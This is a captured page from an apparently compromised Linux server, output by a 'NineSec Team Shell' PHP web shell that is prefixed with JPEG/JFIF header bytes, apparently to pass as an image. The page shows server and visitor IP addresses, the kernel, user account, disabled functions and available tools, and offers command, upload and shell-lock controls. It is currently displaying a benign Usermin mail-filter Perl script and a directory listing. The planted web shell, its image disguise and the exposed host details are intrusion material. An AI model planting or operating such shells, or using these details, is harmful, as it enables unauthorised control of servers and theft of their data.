�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/usermin/forward/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/usermin/forward/filter.pl
#!/usr/bin/perl
# filter.pl

# read sendmail module config
$p = -l $0 ? readlink($0) : $0;
$p =~ /^(.*)\/[^\/]+$/;
if (open(CONF, "<$1/config")) {
	while(<CONF>) {
		if (/^(\S+)=(.*)/) {
			$config{$1} = $2;
			}
		}
	close(CONF);
	}
if (!$config{'sendmail_path'}) {
	# Make some guesses about sendmail
	if (-x "/usr/sbin/sendmail") {
		%config = ( 'sendmail_path' => '/usr/sbin/sendmail' );
		}
	elsif (-x "/usr/lib/sendmail") {
		%config = ( 'sendmail_path' => '/usr/lib/sendmail' );
		}
	else {
		die "Failed to find sendmail or config file";
		}
	}
# read headers and body
$fromline = <STDIN>;
while(<STDIN>) {
	$headers .= $_;
	s/\r|\n//g;
	if (/^(\S+):\s+(.*)/) {
		$header{lc($1)} = $2;
		}
	elsif (!$_) { last; }
	}
while(<STDIN>) {
	if ($_ eq ".\n") {
		# Single line with a . confuses SMTP
		$body .= ". \n";
		}
	elsif ($_ eq ".\r\n") {
		$body .= ". \r\n";
		}
	else {
		$body .= $_;
		}
	}

# read the filter file
if (open(FILTER, "<".$ARGV[0])) {
	while(<FILTER>) {
		s/\r|\n//g;
		if (/^(\S+)\s+(\S+)\s+(\S+)\s+(.*)$/) {
			push(@filter, [ $1, $2, $3, $4 ]);
			}
		elsif (/^(\S+)\s+(\S+)$/) {
			push(@filter, [ $1, $2 ]);
			}
		}
	close(FILTER);
	}
else {
	print STDERR "Filter file $ARGV[0] does not exist!\n";
	exit 1;
	}

# run the filter to find the first matching rule
open(LOG, ">>$ARGV[0].log");
foreach $f (@filter) {
	local $field = $f->[2] eq 'body' ? $body : $header{$f->[2]};
	local $st = 0;
	if ($f->[0] == 0) {
		$st = ($field !~ /$f->[3]/i);
		}
	elsif ($f->[0] == 1) {
		$st = ($field =~ /$f->[3]/i);
		}
	elsif ($f->[0] == 2) {
		$st = 1;
		}
	if ($st) {
		# The rule matched!
		if ($f->[1] =~ /^\//) {
			# Write to a file
			open(MAIL, ">>$f->[1]") || die "Failed to open $f->[1] ; $!";
			print MAIL $fromline;
			}
		else {
			# Forward to another address
			open(MAIL, "|$config{'sendmail_path'} ".
				   quotemeta($f->[1]));
			}
		print MAIL $headers;
		print MAIL $body;
		close(MAIL);
		$now = localtime(time());
		print LOG "[$now] [$header{'from'}] [",join(" ",@$f),"]\n";
		last;
		}
	}


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 20 2025 2:54:52
root
0755
autoreply.pl
12.189 KB
December 30 2021 2:07:26
root
0755
config
0.069 KB
December 13 2023 9:45:50
root
0644
filter.pl
1.988 KB
December 30 2021 2:07:26
root
0755

NineSec Team - 2022